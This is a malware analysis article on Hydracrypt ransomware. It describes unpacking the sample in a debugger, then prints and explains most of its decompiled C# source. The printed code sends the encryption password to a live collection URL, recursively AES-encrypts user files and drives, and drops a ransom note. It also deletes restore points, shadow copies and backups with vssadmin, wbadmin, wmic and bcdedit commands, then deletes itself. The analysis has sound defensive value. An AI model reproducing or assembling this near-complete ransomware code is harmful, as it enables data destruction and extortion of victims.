Hydracrypt Ransomware
Unpacking Malware
Here are the file’s details :
petik@labvx:$ diec -d 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10
PE32
Compiler: EP:Microsoft Visual C/C++(2017 v.15.5-6)[EXE32]
Compiler: Microsoft Visual C/C++(19.36.32420)[C]
Linker: Microsoft Linker(14.36.32537)
Tool: Visual Studio(2022 version 17.6)
petik@labvx:$ diec -e 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10
Total 6.86336: packed
0|PE Header|0|1024|2.65956: not packed
1|Section(0)['.text']|1024|93184|6.53759: packed
2|Section(1)['.rdata']|94208|31232|5.29386: not packed
3|Section(2)['.data']|125440|23040|5.32351: not packed
4|Section(3)['.reloc']|148480|6144|6.43714: not packed
5|Section(4)['.kSvT']|154624|50001|5.96039: not packed
Size : 274K
To verify that the file is packed correctly, we will check it with x64dbg. To do this, we will set a breakpoint on the VirtualAlloc API.
We run the program until it stops at the first breakpoint.
We will go back to the CPU section and then proceed step by step using the F8 key.
There is a call to the VirtualAlloc API.
Following the call to the VirtualAlloc API, we proceed until the end of the call, which is delimited by ret
`
We can do this step by step (F7 or F8) or directly by running until the return (CTRL+F9).
We exit system-level debugging to return to debugging the malware, and we observe interesting elements like:
[dword ptr ss:[ebp-38]]:"PE"
This may indicate the presence of the PE (Portable Executable) header.
We will check the dump at this address :
We do indeed find a header of a PE Executable (address 006E0070
).
And when we backtrack, we do have the beginning of an executable with MZ
(address 006E0000
).
We will now explore the memory portion.
And we can finally extract the memory dump into a file.
So we can now analyze the dump made with DiE.
petik@labvx:$ diec -d 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10_006E0000.bin
PE32
Library: .NET(v4.0.30319)
Linker: Microsoft Linker
petik@labvx:$ diec -e 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10_0006E0000.bin
Total 4.439: not packed
0|PE Header|0|512|2.58501: not packed
1|Section(0)['.text']|512|17920|5.43841: not packed
2|Section(1)['.rsrc']|18432|1536|4.05685: not packed
3|Section(2)['.reloc']|19968|512|0.0843572: not packed
4|Overlay|20480|8192|1.66547: not packed
Size 28k
Analyzing Malware
Mutex process
This part of the malware checks whether another instance of the program is already running using the mutex. This check is based on a unique name for the mutex, which is stored in the mutex variable as “ntyUBXFQTHyHkrn”. If another instance with the same mutex name is found, the program exits. Otherwise, it proceeds to execute the Program.Run() method, representing the program’s main functionality.
The CreateMutex() method is responsible for creating the mutex with the unique name “ntyUBXFQTHyHkrn” stored in the mutex variable. If the mutex creation is successful, it returns true, indicating that the program can continue execution. If the mutex already exists (another instance is running with the same mutex name), it returns false, and the program exits gracefully.
public static void Main(string[] args)
{
if (!Program.CreateMutex())
{
Environment.Exit(0);
return;
}
Program.Run();
}
public static bool CreateMutex()
{
bool result;
Program.currentApp = new Mutex(false, Program.mutex, ref result);
return result;
}
public static string mutex = "ntyUBXFQTHyHkrn";
Main run code
Here is the main part of the program.
private static void Run()
{
try
{
Program.password = Program.CreatePassword(50);
Program.GenerateSalt();
Program.hwid = Hwid.HWID();
Program.SendPassword(Program.password, Program.hwid, Program.salti);
DisableTSK.DisableRegEdit();
Program.UserFold(Program.password);
Program.Fix_Drivers(Program.password);
Program.OtherDrivers(Program.password);
Program.password = null;
Program.WriteMessage();
Program.DeleteRestorePoints();
Shadow.DelCopy();
Program.SDel("1");
}
catch
{
}
}
Password creation
The malware will generate a 50-character password.
private static string CreatePassword(int length)
{
StringBuilder stringBuilder = new StringBuilder();
Random random = new Random();
while (0 < Math.Max(Interlocked.Decrement(ref length), length + 1))
{
stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/".Length)]);
}
return stringBuilder.ToString();
}
HWID Creation
The HWID() method generates a Hardware Identifier (HWID) using certain system information such as the current thread’s ID, the username, the machine’s name, the operating system version, and the system page size. This method returns the HWID as a string.
The GetHash(string strToHash) method takes an input string, converts it into a 10-character MD5 hash using UTF-8 encoding, and then returns the result in uppercase without dashes.
internal class Hwid
{
public static string HWID()
{
string result;
try
{
result = Hwid.GetHash(string.Concat(new object[]
{
Environment.CurrentManagedThreadId,
Environment.UserName,
Environment.MachineName,
Environment.OSVersion.VersionString,
Environment.SystemPageSize
}));
}
catch
{
result = "Error HWID";
}
return result;
}
public static string GetHash(string strToHash)
{
string result;
using (MD5 md = MD5.Create())
{
byte[] bytes = Encoding.UTF8.GetBytes(strToHash);
result = BitConverter.ToString(md.ComputeHash(bytes), 0, 10).Replace("-", "").ToUpper();
}
return result;
}
}
The result will be displayed in the ransomware note.
Password sending
This part of code defines a method called SendPassword
that takes three parameters: password
, hwid
, and salt
. The function performs the following operations:
-
It attempts to perform encryption using the RSACryptoServiceProvider library for both the
password
andsalt
parameters. These data are converted to Base64 strings after encryption. -
It sets an URL (
address
) to which it will send data. The URL is specifically defined as “http://a0902054.xsph.ru/one.php”. -
It uses the WebClient class to send data to the server at the specified URL using a POST request. The data includes the previously encrypted and Base64-encoded
password
,hwid
, andsalt
.
public static void SendPassword(string password, string hwid, string salt)
{
try
{
string value;
string value2;
using (RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider())
{
rsacryptoServiceProvider.FromXmlString(Program.publickey);
value = Convert.ToBase64String(rsacryptoServiceProvider.Encrypt(Encoding.UTF8.GetBytes(password), false));
value2 = Convert.ToBase64String(rsacryptoServiceProvider.Encrypt(Encoding.UTF8.GetBytes(salt), false));
}
string address = Program.gate1;
using (WebClient webClient = new WebClient())
{
NameValueCollection data = new NameValueCollection
{
{"Password", value},
{"Hwid", hwid},
{"Salt", value2}
};
byte[] bytes = webClient.UploadValues(address, "POST", data);
Encoding.UTF8.GetString(bytes);
}
}
catch
{
}
}
public static string gate1 = "http://a0902054.xsph.ru/one.php";
Disabling regedit
The malware will disable the regedit function on the computer using the following function.
internal class DisableTSK
{
// Token: 0x06000001 RID: 1 RVA: 0x000020B0 File Offset: 0x000002B0
public static void DisableRegEdit()
{
DisableTSK.<DisableRegEdit>d__0 <DisableRegEdit>d__;
<DisableRegEdit>d__.<>t__builder = AsyncVoidMethodBuilder.Create();
<DisableRegEdit>d__.<>1__state = -1;
<DisableRegEdit>d__.<>t__builder.Start<DisableTSK.<DisableRegEdit>d__0>(ref <DisableRegEdit>d__);
}
}
File infection
The file search is conducted in the user’s default folder.
Program.UserFold(Program.password);
private static void UserFold(string password)
{
try
{
Program.encryptDirectory(Program.userfolder, password);
}
catch
{
}
}
private static string userfolder = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
The malware will use the encryptDirectory
function to search for files to encrypt within the directory by looking for the following specific file extensions :
“.txt”, “.TXT”, “.jar”, “.exe”, “.dat”, “.contact”, “.settings”, “.doc”, “.docx”, “.xls”, “.xlsx”, “.ppt”, “.pptx”, “.odt”, “.jpg”, “.png”, “.jpeg”, “.gif”, “.csv”, “.py”, “.sql”, “.mdb”, “.sln”, “.php”, “.asp”, “.aspx”, “.html”, “.htm”, “.css”, “.md”, “.rtf”, “.yaml”, “.conf”, “.json5”, “.xml”, “.psd”, “.pdf”, “.dll”, “.c”, “.cs”, “.vb”, “.vbs”, “.p12”, “.mp3”, “.mp4”, “.f3d”, “.dwg”, “.cpp”, “.h”, “.chm”, “.chw”, “.msi”, “.zip”, “.rar”, “.mov”, “.rtf”, “.bmp”, “.mkv”, “.avi”, “.apk”, “.lnk”, “.iso”, “.7z”, “.ace”, “.arj”, “.bz2”, “.cab”, “.gzip”, “.gz”, “.tgz”, “.tar.gz”, “.tbz2”, “.tar.bz2”, “.txz”, “.tar.xz”, “.bkf”, “.tar.zip”, “.tar.7z”, “.tib”, “.gho”, “.bak”, “.ab”, “.vbk”, “.scr”, “.fbl”, “.dmp”, “.tmp”, “.wps”, “.com”, “.bat”, “.cmd”, “.msp”, “.cpl”, “.ps1”, “.vbs”, “.js”, “.wsf”, “.cmdx”, “.lzh”, “.tar”, “.uue”, “.xz”, “.z”, “.001”, “.mpeg”, “.mp3”, “.mpg”, “.core”, “.crproj”, “.pdb”, “.ico”, “.pas”, “.db”, “.torrent”, “.sqlite”, “.mysql”, “.dbf”, “.json”, “.postgresql”, “.oracle”, “.nosql”, “.wim”, “.cur”, “.sdb”, “.xsd”, “.mui”, “.log”, “.rsm”
private static void encryptDirectory(string location, string password)
{
try
{
string validExtensions = string.Concat(new string[]
{
".txt",
...
".log",
".rsm"
});
IEnumerable<string> files = Directory.GetFiles(location);
string[] directories = Directory.GetDirectories(location);
ParallelOptions parallelOptions = new ParallelOptions
{
MaxDegreeOfParallelism = 10
};
Parallel.ForEach<string>(files, parallelOptions, delegate(string file)
{
string text = Path.GetExtension(file);
if (validExtensions.Contains(text.ToLower()) && text != Program.extension)
{
Program.EncryptFile(file, password);
}
});
ParallelOptions parallelOptions2 = new ParallelOptions
{
MaxDegreeOfParallelism = 5
};
Parallel.ForEach<string>(directories, parallelOptions2, delegate(string directory)
{
Program.encryptDirectory(directory, password);
});
}
catch
{
}
}
-
Definition of a list of valid file extensions to be encrypted.
-
Retrieval of the list of files in the specified directory.
-
Retrieval of the list of subdirectories in the specified directory.
-
Use of parallelization to process files more efficiently by specifying a maximum degree of parallelism.
-
Iteration through the files in the directory and encryption of those with extensions found in the list of valid extensions, provided the extension is not equal to
Program.extension.
-
Iteration through subdirectories by recursively calling the
encryptDirectory
method to encrypt files in the subdirectories. -
Handling of exceptions without specific actions in case of errors.
The file encryption is done using the EncryptFile
function.
private static void EncryptFile(string file, string password)
{
try
{
if (file != Process.GetCurrentProcess().MainModule.FileName && file != Application.StartupPath && file != Directory.GetCurrentDirectory() && !file.ToLower().Contains(Environment.GetFolderPath(Environment.SpecialFolder.System).ToLower().Replace("system32", null)))
{
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] array = Encoding.UTF8.GetBytes(password);
array = SHA256.Create().ComputeHash(array);
byte[] bytes = Program.AES_Enc(bytesToBeEncrypted, array);
File.WriteAllBytes(file, bytes);
File.Move(file, file + Program.extension);
Program.Logs.Append(file + Environment.NewLine);
}
}
catch
{
}
}
private static byte[] AES_Enc(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] result = null;
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, Program.saltBytes, 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.KeySize / 8.0));
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.BlockSize / 8.0));
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
public static string extension = ".emp";
-
The first part is a function named “EncryptFile” that takes a file name (“file”) and a password (“password”) as input. It performs the following steps:
- Checks several conditions to determine whether the file should be encrypted.
- Reads the content of the file into bytes.
- Computes the SHA-256 hash of the password.
- Uses the “AES_Enc” function to encrypt the file’s content with the password.
- Writes the encrypted bytes back to the original file, replacing the unencrypted content.
- Renames the encrypted file by adding the “.emp” extension.
- Appends the file name to a log.
-
The second part is a function named “AES_Enc” that takes bytes to be encrypted (“bytesToBeEncrypted”) and password bytes (“passwordBytes”) as input. It performs the following steps:
- Configures Rijndael (AES) encryption parameters with a 256-bit key and a 128-bit block size.
- Derives the key and initialization vector (IV) using the password and a salt.
- Uses CBC (Cipher Block Chaining) mode for encryption.
- Encrypts the bytes using the AES algorithm and writes them to a memory stream.
- Returns the encrypted bytes as a byte array.
-
The third part declares a static variable “extension” with the value “.emp.”
Drive inspection
The malware will use two functions to encrypt local disks.
private static void Fix_Drivers(string password)
{
foreach (string text in Environment.GetLogicalDrives())
{
DriveInfo driveInfo = new DriveInfo(text);
if (driveInfo.DriveType == DriveType.Fixed && !driveInfo.ToString().Contains(Program.C_DIR))
{
try
{
Program.encryptDirectory(text, password);
}
catch
{
}
}
}
}
private static void OtherDrivers(string password)
{
foreach (string text in Environment.GetLogicalDrives())
{
DriveInfo driveInfo = new DriveInfo(text);
if (driveInfo.DriveType != DriveType.Fixed && !driveInfo.ToString().Contains(Program.C_DIR))
{
try
{
Program.encryptDirectory(text, password);
}
catch
{
}
}
}
}
-
Fix_Drivers
:- This function only processes drives of type “DriveType.Fixed,” meaning it encrypts only local hard disk drives.
- It encrypts drives that do not contain the string stored in
Program.C_DIR
.
-
OtherDrivers
:- This function processes all drives except those of type “DriveType.Fixed,” meaning it encrypts all drives except local hard disk drives.
- It also encrypts drives that do not contain the string stored in
Program.C_DIR
.
Ransomware Note
The malware will then write the infamous ransomware note.
private static void WriteMessage()
{
try
{
string text = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\HOW-TO-DECRYPT.txt";
string text2 = string.Concat(new string[]
{
Program.Mynote,
Environment.NewLine,
"Your ID is [",
Program.hwid,
"]"
});
File.WriteAllText(text, string.Concat(new string[]
{
text2,
Environment.NewLine,
Environment.NewLine,
"[[Encrypted Files]]",
Environment.NewLine,
Program.Logs.ToString()
}));
Process.Start(text);
}
catch
{
}
}
-
This function creates a text file named “HOW-TO-DECRYPT.txt” on the user’s desktop.
-
It writes a message that includes the ID stored in
Program.hwid
, along with other information. -
The file’s content also includes information about encrypted files (stored in
Program.Logs
). -
Finally, it attempts to open the created file using the default program for text files.
Removing Windows System Restore points
private static void DeleteRestorePoints()
{
try
{
foreach (ManagementBaseObject managementBaseObject in new ManagementClass("\\\\.\\root\\default", "systemrestore", new ObjectGetOptions()).GetInstances())
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
try
{
Program.SRRemoveRestorePoint(int.Parse(managementObject["sequencenumber"].ToString()));
}
catch
{
}
}
}
catch
{
}
}
-
The function attempts to access Windows System Restore points using Windows Management Instrumentation (WMI).
-
It retrieves instances of the “systemrestore” class from the “.\root\default” namespace using WMI.
-
For each retrieved instance of a System Restore point, the function tries to delete the restore point by calling
Program.SRRemoveRestorePoint
with the sequence number of the current restore point. -
If an exception occurs while attempting to remove the restore point, it is caught and ignored.
-
If an exception occurs while retrieving the instances of restore points or accessing the “systemrestore” class, it is also caught and ignored.
Deleting of shadow copies
The DelCopy
function performs several operations related to the removal of Shadow Copies and the configuration of certain Windows startup options.
public static void DelCopy()
{
try
{
ManagementScope scope = new ManagementScope("\\\\.\\root\\cimv2");
SelectQuery query = new SelectQuery("SELECT * FROM Win32_ShadowCopy");
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query))
{
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
if (managementObjectCollection.Count > 0)
{
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
try
{
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("Delete");
managementObject.InvokeMethod("Delete", methodParameters, null);
}
catch
{
}
}
}
}
}
catch
{
}
try
{
new Process
{
StartInfo =
{
FileName = "vssadmin.exe",
Arguments = "delete shadows /all /quiet",
UseShellExecute = false,
CreateNoWindow = true
}
}.Start();
}
catch
{
}
try
{
new Process
{
StartInfo =
{
FileName = "wbadmin.exe",
Arguments = "DELETE SYSTEMSTATEBACKUP",
UseShellExecute = false,
CreateNoWindow = true
}
}.Start();
}
catch
{
}
try
{
new Process
{
StartInfo =
{
FileName = "wbadmin.exe",
Arguments = "DELETE SYSTEMSTATEBACKUP -deleteOldest",
UseShellExecute = false,
CreateNoWindow = true
}
}.Start();
}
catch
{
}
Shadow.ExecuteCommand("cmd.exe", "/c vssadmin delete shadows /all /quiet");
Shadow.ExecuteCommand("cmd.exe", "/c wmic shadowcopy delete");
Shadow.ExecuteCommand("cmd.exe", "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures");
Shadow.ExecuteCommand("cmd.exe", "/c bcdedit /set {default} recoveryenabled no");
Shadow.ExecuteCommand("cmd.exe", "/c wbadmin delete catalog -quiet");
}
private static void ExecuteCommand(string command, string arguments)
{
try
{
new Process
{
StartInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
}
}.Start();
}
catch
{
}
}
-
Deleting Shadow Copies using WMI:
- The function begins by attempting to access Shadow Copies using Windows Management Instrumentation (WMI).
- It creates a
ManagementScope
object to access the\\.\root\cimv2
namespace. - Next, it performs a WMI query to select all instances of the
Win32_ShadowCopy
class. - If Shadow Copies are found (count greater than zero), the function iterates through each Shadow Copy instance and attempts to delete them by invoking the “Delete” method on each instance through WMI.
-
Deleting Shadow Copies using External Commands:
- The function then tries to delete Shadow Copies using external commands.
- It launches an instance of the
vssadmin.exe
command with the argumentdelete shadows /all /quiet
, which should silently delete all Shadow Copies. - It then executes
wbadmin.exe
with two separate commands:DELETE SYSTEMSTATEBACKUP
andDELETE SYSTEMSTATEBACKUP -deleteOldest
. These commands are used to delete system backups.
-
Configuring Certain Windows Startup Options:
- The function uses the auxiliary class
Shadow
(which is not provided in the provided code) to execute several system commands using theExecuteCommand
function. - It runs commands such as
vssadmin delete shadows /all /quiet
to delete Shadow Copies,wmic shadowcopy delete
to delete Shadow Copies via WMIC, and other commands likebcdedit
to configure certain Windows startup options.
- The function uses the auxiliary class
###
Program.SDel("1");
public static void SDel(string delay)
{
try
{
Process.Start(new ProcessStartInfo
{
Arguments = string.Concat(new string[]
{
"/C choice /C Y /N /D Y /T ",
delay,
" & Del \"",
new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name,
"\""
}),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe"
});
}
catch
{
}
}
- It attempts to execute a command in a hidden Windows command prompt (cmd.exe) window (WindowStyle = ProcessWindowStyle.Hidden).
- The executed command is constructed by concatenating several elements:
/C choice /C Y /N /D Y /T
: This is a command to introduce a delay in the execution of the next command.delay
: The value passed as an argument to theSDel
method is used to specify the duration of the delay.& Del
: This indicates that theDel
command (for deleting a file) will be executed after the delay.new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name
: This gets the name of the current executable file (the running program).
- The
CreateNoWindow
property is set totrue
to prevent the display of the command prompt window. - Finally, the code uses
Process.Start
to execute the command usingcmd.exe
.
Conclusion
In conclusion, we have reached the end of this article. We sincerely hope that you have found our content informative, engaging, and helpful. We would like to express our gratitude to our loyal readers for their ongoing support and commitment to our publication. Your loyalty inspires us to continue our work and provide more high-quality content in the future. Thank you once again for your trust and loyalty. We look forward to reconnecting with you in our upcoming articles.